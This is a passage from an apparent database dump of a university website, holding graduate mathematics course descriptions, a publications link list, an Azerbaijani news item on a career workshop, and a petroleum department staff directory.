Bayes tests.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 451: Function Spaces (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 351</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Continuous functions on a compact and locally compact\r\nspaces. Stone-Weierstrass theorem. Banach spaces of Lebesgue integrable\r\nfunctions. Locally integrable functions. Introduction to the theory of\r\ndistributions. Fourier transforms. Sobolev`s spaces. Applications to\r\ndifferential equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 452: Introduction to Spectral Theory of Operators\r\n(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 352, MATH 206</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Linear bounded operators in Banach and Hilbert spaces.\r\nBanach algebras. Vector-valued holomorphic functions. The spectrum, the\r\nresolvent set and the spectral radius of operators. Holomorphic (Symbolic)\r\ncalculus of operators. Spectral theory of compact operators. Fredholm theory.\r\nNormal, self-adjoint and symmetric operators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 453: Spectral Theory of Self-adjoint Operators (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 452, MATH 305</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bilinear form, linear operators and numerical range of\r\noperators in Hilbert space. Self-adjoint, unitary and normal operators. Spectra\r\nand eigenvalues. Vector-valued measures and resolutions of the identity\r\n(spectral measures). The spectral theorem and the functional (symbolic)\r\ncalculus for self-adjoint (normal) operators. Representation of one-parameter\r\nsemigroups.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 454: Introduction to Harmonic Analysis (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The Basic Cosine-Sine Fourier series. Uniform\r\nconvergence of Fourier series. Orthogonal sets of functions. Generalized\r\nFourier Series. Sturm-Liouville problems. Bessel Functions and Legendre\r\nPolynomials. Groups and introduction to the representation theory. Introduction\r\nto general harmonic analysis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 455: Banach Algebras (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 351</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Axioms, algebras of continuous functions and bounded\r\nlinear operators. Complex homomorphisms. Spectrum, resolvent set, spectral\r\nradius. Holomorphic fun­c­tional (symbolic) calculus. Commutative Banach\r\nalgebras, ideals and homo­morphisms. Gelfand transforms. Gelfand-Naimark theorem.\r\nPositive functionals, a characterization of B* - algebras. Introduction to\r\noperator algebras.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 462: Advanced Linear Algebra (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 131 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Linear equations, and polynomials. Vector spaces.\r\nLinear transformations. Inner Product Spaces. Operators on inner product\r\nSpaces. Bilinear forms. Jordan canonical forms. Multilinear algebra and tensor\r\nproducts.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 469: History and Development of Mathematics (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The origin of the first mathematical notions and\r\nmethods. Mathematics in Ancient Egypt and Babylon. Greek schools of\r\nMathematics. Euclid’s Elements. Archimedes - the leading mathematician of\r\nAntiquity. Arabic and Hindu mathematics. Mathematics in the near East and the\r\nMiddle Asia. Mathematics in Middle Ages and European Renaissance. Non-Euclidean\r\ngeometries. Lobachevski and mathematical mentality. A modern view of\r\ndevelopment of mathematics.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 470: Philosophy of Mathematics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Mathematics and antique philosophy. Antique philosophy\r\nand Euclid’s elements. The Pythagorean mathematical and philosophical school.\r\n“Numerical mysticism”. Philosophy and mathematics in the Near East.\r\nPhilosophical directions of mathematics in India and China. Philosophical\r\ndirections of mathematics in European Renaissance. Modern situation in\r\nmathematical philosophy.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 550: Linear Differential Operators (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 210, MATH 452</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Definition and examples of boundary value problems.\r\nSeparation of variables. Regular Sturm Liouville Problems. Linear operators in\r\nHilbert space. The Spectrum, eigenvalues and eigenfunctions. The Basic Fourier\r\nseries and Fourier series of orthogohal functions. The eigenfunction expansion\r\ntheorem for self-adjoint regular ordinary differential operators. Singular\r\ndifferential operators. Self-adjoint extensions. On the discreteness of\r\nspectra. The expansion problems.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 551: Inverse Spectral Problems (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 550</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Reviews of spectra of second-order linear ordinary\r\ndifferential operators. Expansion theorem and Parseval`s equation. The\r\ndetermination of potential - function from the spectral measure function. The\r\nconstruction of potential from the S- matrix. Inverse scattering theory for\r\nperiodic potentials.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 552: Non-self Adjoint Operators (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 452 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Compact linear operators. The spectrum. Holomorphic\r\ncalculus. Riesz theory of compact operators Fredholm theory. Introduction to\r\nperturbation theory. Norm ideals of compact operators (Von Neumann - Schatten\r\nalgebras), Hilbert-Schmidt operators, nuclear operators. Completeness and\r\neigenfunction expansions associated with non- self-adjoint operators. The\r\nspectral theory of certain general and differential non- self-adjoint\r\noperators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 553: Tensor Products. Functional Theory (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 431, MATH 452 or consent of the\r\ninstructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Tensor product of Hilbert Spaces. Tensor product of\r\nnormed spaces with cross-norms. The two important topologies on tensor\r\nproducts. Tensor products of linear operators. Spectrum and tensor products.\r\nTensor algebra over Hilbert space. Tensor determinants. Tensor products and operator\r\nequations. Topological tensor products. Koszul complex, joint spectrum.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 554: Multiparameter Spectral Theory (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 453, MATH 553</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Tensor products of Hilbert spaces and linear\r\noperators. General method of separation of variables. Multiparameter system of\r\nlinear operators and joint spectra. Tensor-determinant operators and the\r\nmultiparameter definiteness. Expansion theorem for self-adjoint multiparameter\r\nproblems. Multiparameter spectrum and Taylor’s joint spectrum. Fredholm family\r\nof operators. Multiparameter differential operators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 555: Numerical Range of Operators (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 452, MATH 455 is recommended</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Bilinear Forms and Linear Operators in Hilbert space.\r\nNumerical range, convexity. Spectrum, spectral radius, numerical range,\r\nnumerical radius. The description of numerical range of two-dimensional\r\nmatrices. Homotopic description of finite-dimensional matrices. Numerical range\r\nand classification of operators in Hilbert space. Numerical range and non-self-adjoint\r\n(non-normal) operators. Numerical ranges of linear operators in Banach spaces,\r\nelements of Banach algebras, operator-functions and their applications.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 556: Boundary Behavior of Solutions of Partial Differential\r\nEquations&nbsp;(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 420</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Principles of radiation. The principle of limit\r\nabsorption. The principle of limit amplitude. Partial conditions of radiation\r\nby Zommerfield.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 557: Method of Separation of Variables (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 302, MATH 453 or consent of the\r\ninstructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Fourier Series and Fourier integrals. Partial\r\nDifferential Equations and Separation of variables. Examples of Wave, Heat and\r\nLaplace equations. Boundary value Problems. Sturm- Liouville problems and\r\napplications. Tensor product of Hilbert space and linear operators. Abstract\r\nmethod of separation of variables. Two-parameter spectral theory. Joint spectra\r\nof commuting operators. Expansion theorem for self-adjoint two-parameter\r\nspectral problem.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 558: A History and Development of\r\nFunctional Analysis (6 <strong>ECTS</strong>  credits)</strong><strong><br>\r\n<strong>Prerequisite: MATH 351</strong></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The origin of Functional Analysis. The evolution of\r\nFunctional Analysis thought. The leading mathematicians who have made\r\noutstanding contributions to the Functional analysis. The modern advances in\r\nFunctional analysis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 590: Special Topics in Mathematics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Courses not listed in the catalogue are given as\r\nSpecial Topics courses. Contents vary from year to year according to interest\r\nof student and instructor in charge. Courses include various\r\nmathematics topics.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH\r\n600: MS Thesis (</strong><strong>12</strong><strong>\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Scientific – research work. Individual investigation\r\nof the theme to be arranged with supervisor. The results of the work should be\r\npresented in the form of thesis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 700:</strong>&nbsp;<strong>PhD&nbsp;Dissertation (24 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Program of research leading to PhD&nbsp;degree, arranged\r\nbetween a student and the faculty member. Student register to this course in\r\nall semesters starting from the beginning of their second semester but not\r\nlater then the beginning of the third semester while the research program or\r\nwrite-up of the dissertation is in progress.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 810: Probability and Theory of Statistics (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: BSA 250</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">This\r\ncourse presents a general outline of the mathematical theory of probability and\r\nstatistics. Topics include random variables, discrete and continuous,\r\nprobability distributions, sampling distribution theory, estimation, and\r\nmultivariate distributions. It covers advanced topics in the theory of\r\nprobability and statistics including Bayesian estimation, chi-square tests,\r\nquadratic forms, analysis of variance, non-parametric statistics, sufficiency,\r\nand the multivariate normal distribution.&nbsp;</p>'),(422,264,'en','Syllabus 2016','',''),(423,265,'en','Publications','','<p><strong><a href=\"http://www.khazar.org/files/engineering/Mahammad_%20Sharifov.pdf\">Mahammad&nbsp;Sharifov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Mahammad%20Sharifov.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Leyla_Muradkhanli.pdf\">Leyla Muradkhanli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Leyla_Muradkhanli.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Sakhavat_Talibov.pdf\">Sakhavat Talibov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Sakhavat_Talibov.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Ramiz_Ahmadov.pdf\">Ramiz Ahmadov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ramiz_Ahmadov.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/JavadMehriPublications.pdf\">Javad Mehri Tekmeh</a></strong></p>'),(2398,1453,'az','Karyera Mərkəzi “Karyera və həyatın planlanması” vorkşop təlimi təşkil etdi','2016-cı il oktyabrın 21-də  Xəzər Universiteti Karyera Mərkəzi Xəzər Universitetinin tələbə və məzunları üçün “Karyera və Həyatın Planlanması” vorkşop təlimi keçirirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 21-də&nbsp; Xəzər\r\nUniversiteti Karyera Mərkəzi Xəzər Universitetinin tələbə və məzunları üçün\r\n“Karyera və Həyatın Planlanması” vorkşop təlimi keçirirdi. Təlimdə müxtəlif fakültələrin\r\ntələbə və məzunları iştirak edirdilər. Təlimi Xəzər Universiteti Karyera Mərkəzinin\r\nkoordinatoru Ülviyyə Hüseynova təşkil etmişdi. Təlimdə iştirakçıların\r\nixtisasları ilə tanış olunmuş tələbələrin öz sahələrinə olan maraq dərəcəsi öyrənildi.\r\nGələcəyə dair planlar, peşəkarlığa gedən yollardan danışıldı, tələbələrin\r\nsuallarına aydınlıq gətirildi. Karyeranın qurulması, haradan və necə başlamağın\r\nlazımlığı barədə söhbət aparıldı.</p>'),(424,266,'en','Faculty and Staff','Faculty and Staff','<p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV-Zeynalov.Gasham(November2017).pdf\"><img src=\"/files/petroleum_depart/gasham-z.jpg\" style=\"float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gasham Zeynalov</a></strong>&nbsp;-<strong>&nbsp;</strong><strong>Associate Professor</strong>  <br></p><p>PhD&nbsp;in Petroleum Geology (Institute of Geology and Geophysics, Azerbaijan National Academy&nbsp;of Sciences)</p><p>MS&nbsp;in Petroleum Geology (Azerbaijan State Oil and\r\nIndustry University)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gzeynalov@khazar.org\">gzeynalov[at]khazar.org</a>  </p><p style=\"padding-left:160px\"><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (243)</p><hr><strong><strong><img src=\"/files/petroleum_depart/ArazAsadov.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:176px\"></strong>  </strong><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/ArazAsadov-CV.pdf\">Araz Asadov</a></strong></p><p>PhD&nbsp;in Petroleum Engineering (<span style=\"color:#252525;background:#fffffff\">Krilov Oil Research Institute, Russia<span class=\"apple-converted-space\">)</span></span></p><p>MS&nbsp;in\r\nPetroleum Engineering (Azerbaijan State Oil and Industry University)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:araz.asadov@khazar.org\">araz.asadov[at]khazar.org</a>  <br></p><p><br></p><hr><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.25in;background:white\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/engineering/izat_sh_CV(new).pdf\">Izat Shahsenov</a></strong><a href=\"http://www.khazar.org/files/pdf/Izat_Shahsenov_CV.pdf\"><strong></strong></a><img src=\"/files/petroleum_depart/Izat-Shahsenov.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p>MS&nbsp;in Applied Physics and Mathematics (Moscow Institute of Physics and Technology, Russia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a>  <br></p><p><br></p><hr><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.25in;background:white\"\"=\"\"><img src=\"/files/petroleum_depart/Tahir-Mammadov.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/pdf/CV)_Tahir_Mammadov_2014.pdf\">Tahir\r\nMammadov</a></strong><strong>&nbsp;</strong>&nbsp; &nbsp;</p><p>PhD&nbsp;candidate in\r\nPetroleum Engineering (“Oil and Gas Scientific Research Project” Institute,\r\nSOCAR Azerbaijan)&nbsp;</p><p>MS&nbsp;in Subterranean Reservoirs of Energy:\r\nHydrodynamics Geology-Modeling, (Ecole Nationale Superieure de Geologie, France)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tahir.mammadov@khazar.org\">tahir.mammadov[at]khazar.org</a>  <br></p><p><br></p><hr><p><img src=\"/files/petroleum_depart/SamirVeliyev.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/pdf/Samir_Valiyev_CV.pdf\">Samir\r\nValiyev</a></strong>&nbsp; &nbsp;&nbsp;</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><span style=\"color:#252525\">PhD&nbsp;candidate in Petroleum\r\nGeology (Azerbaijan State Oil and Industry University)</span></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><span style=\"color:#252525\"></span>MS&nbsp;in Petroleum Geology (Azerbaijan\r\nState Oil and Industry University)</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:samir.valiyev@khazar.org\">samir.valiyev[at]khazar.org</a>  <br></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV_mehrizadeh.pdf\"><img src=\"/files/petroleum_depart/MasoudMehrizadeh1.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Masoud Mehrizadeh</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV_mehrizadeh.pdf\"></a></strong>PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p>MS in Reservoir Engineering (Sharif University of Technology, Iran)</p>  <p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.25in;line-height:normal;background:white\"\"=\"\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mmehrizadeh@khazar.org\">mmehrizadeh[at]khazar.org</a> </p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p><a href=\"http://www.khazar.org/files/pdf/Izat_Shahsenov_CV.pdf\"><hr></a><p><a href=\"http://www.khazar.org/files/pdf/Izat_Shahsenov_CV.pdf\"><strong><span style=\"font-style:normal\"></span></strong></a><strong><a 